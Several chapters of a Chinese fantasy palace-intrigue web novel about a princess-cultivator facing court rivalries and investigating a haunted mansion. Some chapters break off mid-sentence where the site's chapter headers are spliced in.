娄齐洲却看了一眼立在众人之中的昭意,指了自己身边的位置,笑道:“妹妹请坐。” 昭意一愣。 先前她没打听过娄齐洲,不知这人如何,但她对宫里的人都有些抵触。 虽然娄齐洲看着温良,却偏偏是这份与众不同的善意,叫昭意升起了戒备心。 见昭意没动,身后的宫人赶紧轻推着她入座。 娄齐洲这才看向后面进来的两个嬷嬷。 他一手搭在膝盖上,眼色沉沉地看向顾嬷嬷。 “说吧。” 顾嬷嬷跪下,狠狠磕了一个响头。 “老奴管教不力,还请殿下允了老奴出宫回乡!” 闻言,李嬷嬷闭上了眼。 娄齐洲笑了笑,“这好好的,嬷嬷怎么说出这样的话?” 顾嬷嬷声泪俱下,“老奴执掌宫中之位,管教众人礼仪多年,从未见过如此不知上进、不服管教之人!老奴教不会四公主懂尊卑、知廉耻!实在辜负娘娘所托,羞愧难当,不如就此辞别,告老还乡去!” 娄齐洲看向昭意,“这嬷嬷说的可真?” 昭意靠在椅子上,随意道:“真。” 娄齐洲笑了笑,看向顾嬷嬷,“那便允了这位嬷嬷所求,取了宫牌回家去吧!” 顾嬷嬷不敢相信自己的耳朵,瞪大了眼,“殿......殿下!” 娄齐洲一抬眼,直视顾嬷嬷,“这不是嬷嬷所求吗?” 顾嬷嬷方才是在干嚎,这会儿却真的要哭出来了,“老奴......老奴......” 娄齐洲扫了一眼昭意通红的掌心,眼神犀利,“不过是一个下人,胆敢打伤主子,该当何罪!” 顾嬷嬷这才反应过来,她找错人了,这位二皇子是实实在在护着昭意的,只是如今想明白,却已经晚了。 她赶紧跪下,“殿下,看在老奴进宫这么多年一心服侍皇家的份上,饶老奴一命!绕老奴一命!” 顾嬷嬷声音本就又尖又刺,娄齐洲眉头一皱,“拉下去。” 说罢,左右就有人上前架住顾嬷嬷,将人往外拖。 随着顾嬷嬷的声音远去,殿里一片寂静。 殿里的宫人大气不敢出,纷纷低着头。 娄齐洲沉声道:“你们需记住,在这殿里,你们的主子只有四公主一人,若往后叫我知道还有人敢行欺压主子之事,外头那位嬷嬷便是下场。” 宫人纷纷跪下。 昭意不言不语,内心却有些惊讶。 她琢磨不透娄齐洲的心思,他这般行事,究竟是真的为她好,还是想借此事卸掉她的防备心,日后好利用她? 正想着,就听娄齐洲唤她。 “妹妹,往后若有难处,便叫人告之兄长。” 昭意一笑,“有兄长这话我就放心了,以后若我有事相求,兄长不会避而不见吧?” 此话说的毫不客气,自然没人敢这样对身处高位的娄齐洲说话。 这娄齐洲闻言一愣,他竟不恼,只是看着昭意,眸光微动。 “你若有事相求,我必然全力相助。” 昭意喜道:“那便多谢兄长了。” 只是她在心里暗道一声,这娄齐洲真有几分厉害,能做到这般滴水不漏,叫人看不透。 娄齐洲想起来什么似的,连忙让人抬来两个大箱子。 昭意听着那箱子落地的声音沉重,想是装了不少东西。 “这是?” 娄齐洲轻咳一声,“这是......兄长给你的见面礼,希望你能喜欢。” 昭意立即接上,“兄长送的,我自然喜欢。” 她说着便招人将箱子抬近些,想让人看看里面是些什么。 却不料她一开口,就被娄齐洲打断了。 “妹妹住的可还习惯?若缺了什么,尽管跟兄长说。” 昭意摇头,“我这里挺好,什么也不缺。” 又嘘寒问暖了几句,娄齐洲见昭意有些兴致缺缺,便起身告辞了。 经娄齐洲方才那么一敲打,殿里的宫人们勤快得紧,立即清扫一番,将两个箱子抬进昭意房间。 一进门,昭意就感受到屋里一股湿气,便让宫人都退了下去。 屋里随即显现出一人,全身湿透,风从窗户外吹进来,便冷得他一激灵。 昭意好笑道:“这是跑到龙王家找虾兵蟹将问话了?” 楚行昀冷哼一声,一撩湿透了的衣服,在桌边坐下。 昭意手碰到了桌上的茶具,给他倒了一杯热茶。 “都查到什么了?” 楚行昀接过茶杯,轻抿一口,顿时觉得身上寒气被驱散了许多。 缓了一会才道:“这朱家可不是一般的商人。” 昭意身子微微前倾,“怎么说?” 楚行昀道:“这朱宅位于朱雀街上,虽然朱雀街现已经十分落寞,可放在几年前,朱雀街在京城可是最为繁华的地段。如今管着朱雀街地租的管事姓李,他说往日住在朱雀街的人,不是名门世家,便是有背景的财主富户,自从出了闹鬼一事后,朱雀街才冷清起来。” 昭意道:“或是朱家世代便是富商,这有什么特别的?” 楚行昀接着说:“特别之处,便是这朱家先前不过是个普通商户,也不知走了什么运,竟飞黄腾达起来,不仅成为京中的数一数二的富商,还接了皇商的差事。那朱雀街住的都是名门世家,像朱家这般起家的,按常理来说是进不了朱雀街的。” 昭意慢慢站了起来,在房间里走了一圈。 “我曾听闻,人间有些邪术,向鬼魂献祭些东西,就能换取想要的东西。听你这么一说,朱家如今变成这样,倒是有些像用了邪术后遭受反噬。” 楚行昀又抿了一口茶,“还需要我查些什么?” 昭意摇摇头,“不必了,若只是普通鬼魂,我师兄定能拿下。” 她正好走到那两个箱子前,不由得伸手摸了摸。 楚行昀眼神落在两个箱子上,一挑眉,“那个二皇子待你不似作假,莫不是收了两箱金银珠宝给你?” “面上不似作假,谁知心里如何想的呢……” 昭意一边说着,一边打开了箱子,手探了进去,摸到个东西,一愣。 楚行昀伸头一看,蓦地笑出声来。 他走 7. 第 7 章 《苍山有言》全本免费阅读 顾嬷嬷被送走后,便只有李嬷嬷一人来教昭意礼仪。 李嬷嬷性子温良,不似顾嬷嬷那般急切,先教了她一些基本的宫中规矩,不像顾嬷嬷要将那一套“天经地义”的思想灌输给她。 昭意学了几天,终于懂了七七八八。 李嬷嬷打量一番昭意姿态,满意道:“殿下聪颖,学的极好。” 闻言,昭意便松了气,懒懒靠在椅子上,锤着自己有些酸疼的要背。 采樱正端着葡萄进来,轻放在桌上,“殿下近日可要抓把劲儿,再过一月,齐铭国的使者就要来了。” 昭意一听,来了兴趣,捏了一颗葡萄,“齐铭国的使者?来做什么?” 采樱笑道:“是来迎娶我们三公主的,两国交好,喜结联姻,这是天大的好事。” 采樱看出昭意有些困惑,就告诉她三公主娄嘉桢是芸妃所出,生在昭意前头,往后遇到了是要叫一声姐姐的。 “殿下要好好学,届时齐铭国使者到了,殿下也是要出席的。” 昭意哀叹一声,又靠倒在椅上。 择梨从殿外跑来,采樱见了,便说了她一句,“什么事情,急急忙忙的?” 择梨年岁比采樱小一些,脸圆圆的,她进来行了个礼,便道:“五殿下递了帖子来。” 原来是五公主娄婉倾要举办一场赏花会,邀了朝廷上下各位世家公子小姐,请了各皇子公主。 这位五公主,是皇后所出之女,自出生便受人瞩目,可谓是宫里最为受宠的公主。 娄婉倾办宴,自然也给刚回宫不久的昭意递了一帖子。 昭意支起身子来问:“赏花会?那是做什么的?” 择梨道:“自然是赏花颂词,陶冶情操。” 昭意立即又倒了下去,“听着甚是无趣,不去。” 殿内宫人相视一眼,最终还是李嬷嬷在两位宫女祈求的眼神下,试着劝说了一句。 “殿下总要与人所有交际才好,回宫这么多日,也是时候去结交一两位闺中好友了。” 昭意思索一番,“方才说,朝廷上下各位世家公子小姐都会去?” “正是。” 昭意捏了一颗葡萄,扔入口中,笑了笑,“那便去看看吧。” * 赏花宴就办在御花园里,园中各处设了座位,奉上香茶好水,赏花者可随意入座。 昭意只带了采樱择梨两位宫女。 昭意并无结交之意,就寻了个僻静无人的亭子入坐。 此处昭意甚是满意,身后一大片花簇将阳光挡的严严实实,透过花丛间隙隐约能够看到外头的小路,偶尔会有结伴的公子小姐谈笑走过。 若不是从花丛一侧走进,小路上的人是发现不了里面的人的。 若要说这赏花宴有什么好,那就是备好的茶水了。 昭意举杯轻抿一口。 采樱看着外头不知道已走过多少批人的小路,忧心道:“殿下当真不结交几位闺中好友?” 昭意放下茶杯,笑了笑,“我不去寻人,自然有人会来寻我。” 择梨有些疑惑,但采樱朝她摇了摇头,两人便不多言。 三人在这静僻之处待了好一会儿,只听外头传来一阵说话声,原以为会想像前几批人一样走掉,却不想竟有人扒开了花丛,惊讶道:“这不是四姐姐吗?” 昭意朝两人道:“这不是来了?” 采樱抬头看了一眼,赶紧小声告诉昭意来人是五公主。 昭意虽没听过娄婉倾的声音,但也猜得出几分。 娄婉倾身后跟着一众公子小姐,个个伸着头好奇地打量昭意。 娄婉倾头上簪着几支珠宝镶嵌的簪子,身着华丽的长裙,此时站在阳光下泛着光,无不展示着她在宫中如何受宠。 她轻扬着头,眼中有些蔑视地看向亭中的人,一身浅色纱裙,发上只别了一根普通的簪子,打扮得连她身后世家庶女都不如。 娄婉倾笑道:“四姐姐怎的一个人坐在此处,若是叫人知道了,指不定要说我欺负四姐姐呢。” 昭意伸了伸懒腰,“若不是妹妹带人找来此处,也不会有人知道我一个人在这。” 娄婉倾脸色僵了僵,赶紧笑道:“四姐姐说笑了。” 采樱择梨见昭意如此不顾形象,又听她这样对娄婉倾说话,脸色白了白,只能走到昭意身边轻轻拉着她袖子。 昭意不接话,场面有几分尴尬,最终还是娄婉倾道:“现在我们要去亭中了,四姐姐不会不来吧?” 昭意默默按了按自己的衣领,“既然妹妹邀请了,我自然不会不去。妹妹先行一步,我随后便到。” 娄婉倾暗笑一声,携着众人走了。 听脚步声远去,昭意连忙将自己的衣领往上提,幽幽道:“你再多使劲一点,方才我的衣服就掉了。” 择梨红了红脸,连忙帮昭意整理衣襟。 趁这间隙,采樱连忙问:“殿下可学过诗?” 昭意答:“不曾。” 采樱一拍手,“这可如何是好?” 昭意奇道:“怎的了?” 采樱解释道:“方才五公主邀殿下去亭中,是要去开赏词宴的。瞧刚才那架势,这恐怕是冲着殿下来的。” 昭意起初知道五公主是皇后之女时,便隐约觉得这赏花宴是场鸿门宴,却不想竟是真的。 方才当着各世家公子小姐的面已经回话了,不去怕是不太好,更何况,她还没找到想找的人。 于是昭意理了理衣裙,“走吧。” 一般各位公子小姐赏花累了,就会到亭中相谈,吟诗诵词。 寻了个座位坐下,昭意耳力极好,听了一会儿隔壁的诗词。 这些个小姐都有手帕交,三三俩俩聚在一起,昭意听着她们谈话,觉得甚是无趣,也不欲迎合其中,便一人独坐在一旁,在这热闹的宴会上显得突兀。 这一切都叫娄婉倾看在眼里,她带着几位姑娘上前去,“四姐姐怎的一个人?莫不是我这宴办的不入眼?” 昭意还没想好怎么回答,又听她说:“莫不是四姐姐,听不懂诗词?” 娄婉倾虽是讶然,但眼底尽是满满恶意。 昭意一默,心想这人对她的敌意也太明显了些。 各家小姐低声议论了几声。 祝郦国崇尚文学,这些个书香门第家的姑娘从小就学书念词,文学功底自然不在话下,身边所知的女子,就没有不懂诗词的。 娄婉倾听着身后的嘀咕声,笑意更加,“不知四姐姐读过什么书,可有看过《诗论》?或者《百家词》?” 娄婉倾说的这两本书,皆是幼童所学书籍。 她这么一说,身后的各位姑娘竟小声笑了起来。 昭意还没开口,就听娄婉倾“哎哟”一声,身子竟软了下去,跪倒在昭意身前。 昭意讶然,“五妹妹这是怎么了?” 几人的动静有些大,叫远处的几位公子纷纷看了过来,见到了在地上起不来的娄婉倾。 娄婉倾一阵恼怒,在宫人的搀扶下终于站了起来,只是小腿方才被什么东西打了一下,痛得紧。 只是看着周围投来关切的目光,她也只能忍着笑道:“无碍,词宴一会儿便开,还请诸位稍等片刻。” 说罢,她看向昭意,咬牙切齿笑道:“四姐姐也要参与哦。” 等人一走,昭意轻咳一声,小声道:“你出手也太重了些。” 未有人回应,只是旁边刮过一阵风,无人察觉这微小的异常。 知道昭意未曾学过诗的采樱和择梨,这会儿焦虑地眉头紧蹙。 娄婉倾说方才赏了花,现在就该以花题词了,话一开口,便有几个公子背手作词,引得众人拍手叫好。 也有几位姑娘提笔写词,由宫人送往展示,几篇婉约的诗句也叫人眼前一亮。 宫人也送了纸张给昭意,不过白纸铺在桌上,昭意未动笔。 昭意小声唤了楚行昀,“你可会作词?” 楚行昀憋了憋,小声告诉了昭意几句,她都将笔 8. 第 8 章 《苍山有言》全本免费阅读 赏花宴散,待众人走尽后,亭里依然站着个女子。 她垂眸看着桌上的几张纸,落款是娄齐洲的字。 良久,她猛地将桌上的纸一把抓起,狠狠揉成一团,似乎觉得还不够解气,又将其撕裂开来。 旁边的宫人惊呼,上前去阻止,就见她几根指甲已然断裂。 可娄婉倾似乎察觉不到痛似的,捏紧了拳头。 旁边有宫人上前来,小声道:“殿下,二皇子在花园里等着见你。” 她微微一愣,回头,“是二哥哥要见我?” 宫人颔首。 娄婉倾没带宫人便去了花园,此刻众人散去,热闹的花园里寂静一片。 娄齐洲背对着她,似乎在看着远处的花海。 她犹豫一番,上前道了句,“二哥哥。” 娄齐洲转身,看了她一眼,就眼尖的看到她断裂的指甲,便问:“手怎么了?” 娄婉倾眼角一湿,连忙摇头,“方才不小心弄的,没什么大事。” 她顿了顿,刚开口,“二哥哥......” 话刚开头,便被娄齐洲打断。 娄齐洲道:“婉倾,为何对昭意有那么大敌意。” 提到昭意,娄婉倾垂下眼,咬紧了牙关。 娄齐洲看了她半晌,轻声道:“昭意她身体不好,很小就出宫了,这么多年也不知道在外吃了多少苦头。我不知你与她的矛盾,只是希望能看在她是我妹妹的份上,别那么针对她。” 半晌,娄婉倾还是沉默不语。 娄齐洲站了一会儿,转身刚要离开,便听娄婉倾轻声地说了一句,“我也是你妹妹啊。” 娄婉倾握紧拳头,有血从指甲处流了出来,她不由得哽咽道:“我也是你妹妹啊,二哥。” 娄齐洲沉默一会儿,轻声道:“婉倾,昭意在这宫里只有我了。” 听着身后的抽泣声,娄齐洲终究没有回头看她,抬步走出了花园。 * 因娄齐洲临时称有事,就让应许陪着昭意回梧桐宫。 应许打开折扇,边走边道:“殿下在宫中可还习惯?” 昭意自然地接道:“习惯。” 应许又问:“殿下觉得二殿下如何?” 昭意答道:“兄长是位好哥哥。” 应许笑了笑,“如此甚好,砍来某人的心结快要解开了。” 应许话里有话,昭意心里生疑,正想问,就听到远处传来一阵脚步声,昭意就听到身边有人呼吸急促起来,她连忙轻咳了一声,那人的情绪才平静下去。 应许望了一眼,“什么风把蒋公子出来了?” 急匆匆朝着赶来的,正是蒋家公子蒋青云,他身边还跟着个姑娘。 蒋青云匆匆赶来,也不管应许嘲讽他,只恭敬道:“见过殿下。” 听到声音,昭意就想起来他是谁了。 蒋青云对着昭意拜了又拜,“那日不知公主身份,多有得罪,平日不得进宫,今日特地来向公主赔罪。” 他身后的姑娘也跟了上来,朝昭意一拜。 应许见了,也向她拱了拱手,“裴姑娘。” 跟在蒋青云身后的就是太尉之女裴清菱。 裴清菱在京中有着才女之名,生得好看,一双眼眸泛着柔光,乌发披肩,柔柔弱弱的模样。 昭意笑了笑,“蒋公子那日不知情,这罪就怪不到蒋公子头上。” 蒋青云松了口气,想了想,又提道:“那殿下的那位师弟......” 昭意打断他,“师父有令,他已先回落鹫山了。” 应许讽道:“蒋公子这么闲,还得再管管四殿下的师弟?” 蒋青云连忙摆手,眼睛看着昭意,“绝无此意!殿下可别轻信小人言。” 说着瞥了一眼应许。 应许冷笑一声。 “好了表哥。” 裴清菱轻瞪了蒋青云一眼,看向昭意,“说好是来给公主赔罪的,怎的吵起来了?” 蒋青云连忙拱手,“表妹说的有理。” 昭意笑笑,“蒋公子裴小姐言重了,不过是场误会,误会解开便好。” 蒋青云听了,立即眉开眼笑,又说了好几句恭维的话,才一步三回头地走了。 昭意听着蒋青云与裴清菱一同远去的脚步声,有些奇道:“想不到蒋公子与裴小姐关系这么好。” 应许答道:“太尉夫人正是蒋太仆亲妹,两人自幼一起长大,关系自然不错。” 行了不久,便到了梧桐宫。 应许身为外男不得入内,便让采樱和择梨送昭意进去。 昭意照常退下了宫人,她才坐下,房间里已有人急不可耐地显出了身形。 楚行昀刚开口,“昭意......” 昭意知道他想说什么,便答他,“你去查吧。” 楚行昀一愣。 昭意提笔,行云流水地画出一叠符纸,移到楚行昀面前。 “这本就是我答应你的。” 楚行昀眼睛一红,伸手接过符纸。 * 赏花宴一事算是过去了,可风波却未平息。 日次,梧桐宫的大门被人闯了进来。 先进来的是个叫旭红的宫女,她一扫屋内,淡声道了句,“搜。” 她身后的人便一涌而入,翻箱倒柜起来。 采樱和择梨惊慌地相视一眼,站在门口不敢动。 昭意蹙眉,伸手向前拍去,就有一阵风将人通通阻拦在外。 迎面刮起狂风,似乎要将人先掀飞出去。 旭红被风吹得睁不开眼,她连忙从袖中掏出一个物件。 昭意一愣。 她手中那物是静元真人的手串,见手串如同见真人,真人的气息做不了假。 虽不敢置信,昭意还是卸了灵力。 旭红见有效,心里一松,立即笑道:“得罪了,殿下,奴婢是奉贵妃娘娘的命,来替公主轻扫一下屋子。免得这屋里藏了些妖术邪术,照顾公主的人也不知道清理。” 说着,她冷眼看向采樱和择梨,采樱择梨瞬间白了脸,垂着头不敢说话。 谈话间,宫人们已经将昭意放在各处的符纸统统收走。 昭意只问:“这手串是谁给你的?” 旭红转身要走,听到这话,又回过身来,“公主以为,是谁给奴婢的?” 她轻蔑地看着昭意,突然想到什么似的,“公主也别再觉得落鹫山有什么特别的,现在看来,赫赫有名的落鹫山也不过如此,殿下还是做些该做的事情为好。” 说罢,朝旁边的人道了句“走吧。”便领着一群宫人浩浩荡荡地走了。 昭意面上冷淡平静,却默默握紧了拳头。 采樱与择梨相视一眼,最终还是择梨上前来。 “或是赏花宴的事叫娘娘知道了,她有些不喜......” 昭意放缓了呼吸,冷静问:“她为何不喜?” 择梨小声道:“可能是因为二殿下......” “兄长?” 择梨点了点头,小心说道:“娘娘极为看重二皇子,或是二皇子昨日为殿下出头,娘娘担 9. 第 9 章 《苍山有言》全本免费阅读 听闻了朱宅和梧桐宫被封的事,娄齐洲便坐不住了,上前来找昭意,却被林贵妃派的人拦在了门口。 于是他只能让凛风带他潜入梧桐宫。 只是没想到,两人刚进房内,就见一人半坐在床榻前,双手按着昭意,而昭意一脸苍白,袖口还沾着血迹。 他瞳孔一颤,与身后的人交换了眼神,身后的侍从便拔剑冲了过去,只见剑光闪过,破开冷风直逼楚行昀。 好在楚行昀反应迅速,拔出刀反手一挡,正好抵住冷剑。 刀剑相接,两人僵持不下。 娄齐洲身边的凛风是从众人中千挑万选才到娄齐洲身边的,自幼便是武者中的佼佼者,对付楚行昀这样的野路子自然不在话下。 只僵持了一会儿,楚行昀便冒了汗,眼见那刀锋慢慢靠近他的脖颈。 只是他不能躲开,昭意在他身后,若他躲开,这刀必然会砍在昭意身上。 念此,楚行昀咬牙,使出全身的劲将刀往上顶。 昭意认出了娄齐洲的气息,她猛咳两声,道:“住手!” 凛风闻言,虽没有撤刀,力道却松了几分。 娄齐洲奔至昭意身边,小心翼翼将人扶起,“妹妹,你可还好?” 昭意连忙道:“兄长,这是我的人。” 娄齐洲一愣,看了凛风一眼,凛风这才撤了刀。 他扫了一脸狠色的楚行昀一眼,缓缓道:“怎么回事?” 昭意深吸几口气,调整体内的灵力,脑子里闪过的却是娄齐洲送她的那两箱子东西,还有赏花宴上他赶来救场的样子...... 她闭了闭眼,抓住娄齐洲的袖子,“兄长,此事可否日后再谈?兄长能否替我打听我师兄的消息......” 娄齐洲垂眸,见她将下唇咬得泛白,眼神稍黯,轻声道:“好。” 昭意松了口气,整个人斜着躺了下去,心里想的却是,赌对了...... “昭意!” 娄齐洲低呼一声。 凛风上前来,握住她的手腕,看向娄齐洲,“似是力竭,休息几日便好。” 娄齐洲才放下心来,看向站在一旁面无表情的楚行昀。 * 落鹫山予林道长重伤一事已传遍京城,京城上上下下都在讨论此事,不是畏惧朱宅中的邪物,便是感叹落鹫山弟子道行甚浅。 国君听闻此事,十分震怒。 先前朱宅闹鬼一事不过是私下闲聊,此次大张旗鼓的请了百枫院的人来驱邪,没想到邪没驱成,却闹得京城上下皆知。 有人暗中煽风点火,京城中渐渐传起皇室中人惹了天怒,上天才将此厄运至京城之中。 且不说那道长还活着没有,看这情况,就算活着也难逃罪责。 这种情况下,自然也有人谈论起刚回宫不久的四公主。 先前她在赏花宴上引蝶一事,不知怎的便传了出去,加之梧桐宫被封,谣言四起。 皇宫中的一处宫殿中,一位女子半躺在床榻上闭目养神,一手支着脑袋,一手垂在腹前,压着还未做完的绣帕。 门口进来一个小宫女,她低着脑袋,在女子耳边吩咐了几句。 女子慢慢睁开了眼,勾唇一笑。 “做的不错,加些银子,让他们继续。” 小宫女应了一声,转身出门去了。 良久,女子才撑起身子来,身上的帕子掉到了地上,她弯腰捡起,指腹在上面摩挲着。 蓦地,她垂着眼眸,盯着帕子轻声道:“娄昭意,如果没有你......” 洁白的帕子上,绣着一群蝴蝶结伴起舞,正是那日娄齐洲所作之画。 * 昭意醒来时,脑袋昏昏沉沉。 修道之人恢复向来比常人要快,加上锁魂玉在身,她已觉得身子大好。 她支起身子来,揉了揉眉心,蓦地想起晕倒前发生的事,脸色一变,就要下床。 旁边伸来一只手臂,扶住她手臂。 昭意一惊。 楚行昀道:“是我。” 昭意问:“师兄如何了?” 楚行昀道:“二殿下去打探消息了,还未回来。我留在这照顾你。予林道长吉人自有天相,一定会没事的。” 昭意沉默一会儿,按下心中的不安,“多谢。” 楚行昀在她旁边坐下,微微偏头看着她。 “先前你为何吐血?” 昭意从自己的思绪中出来,回答道:“先前我同你说过我每日不能用太多灵力,若是消耗过多便会如此。” 楚行昀微惊,“你们修道之人都这样吗?” 昭意笑了笑,“只是我这样。” 说罢楚行昀不再问,屋里陷入了沉静之中。 昭意正想着予林的事,突然觉得肩头有东西滑过,身上已披了一件外衣。 她偏头面向楚行昀的方向。 方才楚行昀想到昭意刚醒来,就这样坐在床前恐怕会着凉,等脑子反应过来时,手已经拿起衣服批到她身上了。 看到昭意面向他时,楚行昀像被针扎了一样,从床上弹跳起来。 “我……我去看看二殿下回来没有。” 他若无其事地走到了窗前,耳朵尖早已红透。 楚行昀将窗户开了一丝缝隙,就有风进来吹散他脸上的热气。 又等了许久,终于等来了凛风。 凛风来的不算慢,他趁院中无人,便悄然潜入了梧桐宫。 楚行昀见到他,支开窗户让人进来。 “如何?” 凛风道:“人在太医院中,还活着,重伤。” 楚行昀松了口气,又问:“二殿下呢?” 凛风迅速答:“陛下有诏,殿下先回去了。如今那位道长的伤势并不是最重要的,重要的是如今京城中四起的传言......” 楚行昀一抬眼,迅速捂住他的嘴巴。 只是来不及了,刚才昭意听到动静就走了过来。 “什么传言?” 凛风回身看到昭意,连忙行了个礼,与楚行昀对视一眼。 楚行昀朝凛风摇了摇头,凛风咬了咬牙,正飞快想着怎么回答。 昭意又问了一遍,脸上已隐隐有些着急,“是什么传言?” 楚行昀连忙道:“是梧桐宫被封的传言。” 说罢,两人又对视了一眼。 昭意淡声问:“是什么传言?” 只听凛风道:“有人传京城闹鬼,是皇朝有人做了惹天怒的事,也有人说是四殿下给京城带来了不幸。” 他说完,吃惊地捂住了嘴巴。 凛风答得飞快,楚行昀来不及阻止,偏头一看,只见凛风背后不知什么时候贴上了张黄符。 楚行昀上前几步撕掉了黄符。 凛风见事情已经暴露,只能接着说:“二殿下已经为此事去见陛下了,四殿下放心,您同予林道长一定会无事的!” 昭意转身回到窗前,昏暗的光线透过厚重的纸窗照在她脸上,“恐怕不行了。” 话音刚落,外头突然传来重重脚步声,伴随着宫女的惊呼声。 “大胆!你们做什么!” 就听有一男子高声呼道:“皇城卫!奉陛下之命封锁梧桐宫,任何人不得进出!” 外头一阵兵荒马乱,刀剑与盔甲相撞的声音逐渐逼近,最终停在房 10. 第 10 章 《苍山有言》全本免费阅读 朱雀街。 一处住宅前围满了人,纷纷堵在紧闭的大门前,使劲拍着大门。 “姓李的!滚出来!我们知道你在里面!” “我们要退钱!你骗我们住了这鬼街,快滚出来!” 声讨的正是住在朱雀街的百姓,他们其中不少是外乡人,此前并未听说过鬼宅的事,就被李管事以低价房租哄骗得住了朱雀街。 此次朱宅一事被放到明面上来,他们才知晓原来自己一直与邪物住在一条街上。 门被拍的晃起来,院里却静悄悄一片。 屋里头一男子坐在地上,背靠着墙,一脸难色地看着坐在对面角落里的妻女。 女子捂住了孩子的嘴巴,惊恐地看向窗户。 只听“咚”的一声,从墙头飞来一颗石头,砸破了窗户掉到屋内。 孩子被吓了一跳,嘴一瘪就要哭,女子见了,连忙低声哄她两句,好在哄住了。 也不知过了多久,外面的人似乎停歇了,嘈杂声渐渐远去。 女子这才敢啜泣一声,“这日子怎么还过得下去啊!” 李筑一脸颓色,没有说话。 女子面容憔悴,“我屋里还有些嫁妆,等这段时间过了我就去当掉,能还多少就还多少吧。” 李筑苍白着脸,摇了摇头,“不够的......多少都不够的......” 朱宅未出事之前,李家也算得上是大户人家,虽不如朱家那般有钱有势,但也算得上是富足。 而李筑年轻时就有个戒不掉的毛病——爱赌。 前些年李家的资产倒也承担得起这个坏习惯,但自从朱宅出了事,世家高门搬出朱雀街,一些听到风声的人也跟着搬了出去,朱雀街便冷清了下来。 先前收的租金都被他拿去还赌债了,现在哪里还掏得出一个子儿来给外面那些人? 妻子犹豫一番,还是将心里的话说了出来,“不如将这街卖了吧!” “不成!” 李筑坚决不同意,“这街是从祖上传下来的,若在我这里丢了,日后我哪儿还有脸面去见列祖列宗!” 妻子哭道:“可如今我们靠什么过活啊?” 听着她哭哭啼啼的,李筑觉得心烦,只是蓦地想到前几日蒋家公子来找他说的事,心中一慌,此时再去想方才妻子说的,突然觉得无不道理。 李筑将地上的女儿抱起,哈哈笑着原地转了一圈。 妻子呆愣,“当家的,你怎的了?” 李筑扶起妻子,“这街不要了!收拾收拾东西,我们今晚就走!” 他看着这个生活了一辈子的地上,心中纵有再多不舍,却也没有命重要。 既已计划好,李筑安置好妻女,便跑到库房里打包东西。 他平日里虽赌得多,但也有些家底,并未完全交出去。 李筑从抽出一个小巷子,掏出挂在脖子上的钥匙插了进去,“吱呀”一声,箱子开了,里面放着几根黄澄澄的金条。 他一喜,连忙将金条用布包起后塞入怀里,盘算着这些家产够他和妻女在乡下生活这辈子了。 李筑欣喜地转身,下一秒却惊恐地瞪大了眼,连连后退几步,撞到了身后的柜子,柜子上的东西砸了下来,发出巨大的声响。 “你......你是谁!” 李筑颤动着声音问道。 窗户不知什么时候已经被打开了,窗边坐着一个女子,头戴帷帽,靠在窗上,也不知坐了多久。 有风吹来,轻轻揭开了白纱的一角。 昭意转过头,伸手拉住白纱,严严实实遮住脸,这才笑了笑笑,“抱歉,吓到你了。” 李筑慌张地瞥向四周,一把将架子上的花瓶握在手里,对准了昭意。 “你来做什么!我一分钱都没有了!” 昭意轻声道:“别紧张,我不要你的钱,只是找你问几句话的。” 闻言,李筑心跳加剧,心中不但没有平静下去,还升起了另一种惶恐。 “我什么都不知道!” 昭意充耳不闻,只问:“落鹫山的道长可有来过你这?” 李筑答:“来过。” 他瞪大了眼。 意料之中的回答,昭意接着问:“听闻你是管朱雀街地租的,你对朱宅了解多少?” 尽管李筑咬紧了牙关,但他还是能听到自己的声音在回答,“十多年前,朱家就来朱雀街了,那时朱家还不是京城富商,只是普通商人而已。后来朱家逐渐发达了起来,接了皇家的生意,发展一直很好。后来朱家闹了鬼,就搬走了。再后来,听闻有人说朱氏一家在回乡路上糟了劫匪,从此便再无消息。” 李筑说的和她打听到的并无差异。 昭意思索一番,又问:“闹鬼前后,朱家可有什么异常?” 李筑道:“闹鬼前,朱家死了一位名叫玉笙的娘子。” 昭意微微垂眸,“她是怎么死的?” “听闻是病死的。” 昭意手指摩挲了一会下巴,“病死的?这不是很正常的死因吗?” 不知李筑会想起什么,脸色突然变得苍白,“她死前,曾求我向帮她向一个人求救;在她死后,朱家并未给她设灵堂,也不知她身葬何处。” 昭意讶异,“朱家人对她不好?” “玉笙并非是朱家子女,而是朱二公子之妻,似乎并不受朱家人待见。” “那你可知朱二公子下落?” 李筑摇头,“朱二公子在玉笙病逝前就已经失踪了。” 昭意诧异。 “玉笙家世如何?她被如此对待,家里人不为她讨个公道吗?” 李筑摇头,“我实在不知玉笙的身世。” 昭意心中一奇,又是不知。 身世不知,身葬何处不知,朱宅的事看来就出在这位叫玉笙的人身上。 “你方才说她求你帮她,你帮她了吗?” 昭意看不见,李筑身子一抖,脸色惨白又古怪,“没有。” “你知道她想向谁求救吗?” 李筑握紧了拳头,“不知,她将求救的信息写在帕子上,我没看就丢了。” 这样看来,玉笙的死肯定另有隐情。 昭意一拧眉,只是到底是怎样的死因,让玉笙在朱家已被迫搬走后,还这般纠缠了多年? 她又回忆了一遍,蓦地想到,“你说朱家刚搬入朱雀街时只是普通商人。可我听闻当年能入住朱雀街的皆是达官贵人,朱家又是如何来的朱雀街?” 李筑答:“不知。” 昭意蹙眉。 “那玉笙身葬何处?” 李筑说:“不知。” “不知?” 昭意又问了李筑别的,李筑皆道不知。 “罢了。” 李筑身上还贴着符纸,不会撒谎,或是朱家人不愿透露,就算邻居都不知道朱家的情况。 昭意一挥手,贴在李筑背后的黄符就消失了,李筑猛地松了一口气,腿一软坐在了地上,生了一背的冷汗。 等他缓过神后,窗边的女子早已消失不见,只留大开的窗户,轻轻吹进来的风告诉他刚才的一切都不是幻觉。 * 先前朱雀街虽然有些冷清,但至少也有几家店铺开着,街上也能见到几个人。 而这几日爆出了鬼宅的事后,街上彻底无人了,家家户户都紧闭家们,就算是白日,也不见有人出来。 11. 第 11 章 《苍山有言》全本免费阅读 夜色昏沉,整个京城沉在梦中,寂夜中唯有虫鸣。 漆黑的夜中,有一抹红悄然潜入,无声无息地飘过,眨眼间就消失在了街道上。 “天干物燥,小心火烛。” 月下,打更人的影子被拉长。 夜色迷蒙,打更人抬头一看,才发现走到了朱雀街,他猛然一惊,漆黑的街道上,没有一家人点着灯火。 他立即就想往后走,却听身后传来爆炸的巨响,他一回头,就见远处一宅子上空冒着妖异的红光,那光闪烁着,似乎有什么东西就要冲出来。 想到平日里的传言,打更人腿一软,大叫一声就往回跑。 却见一道白色身影与他擦肩而过,那身影速度极快,脚下轻点地,整个人就飞出去好远,直直朝着街道深处奔去。 打更人只匆匆瞥见了一抹白,更确信有鬼了,惨叫一声跑掉了。 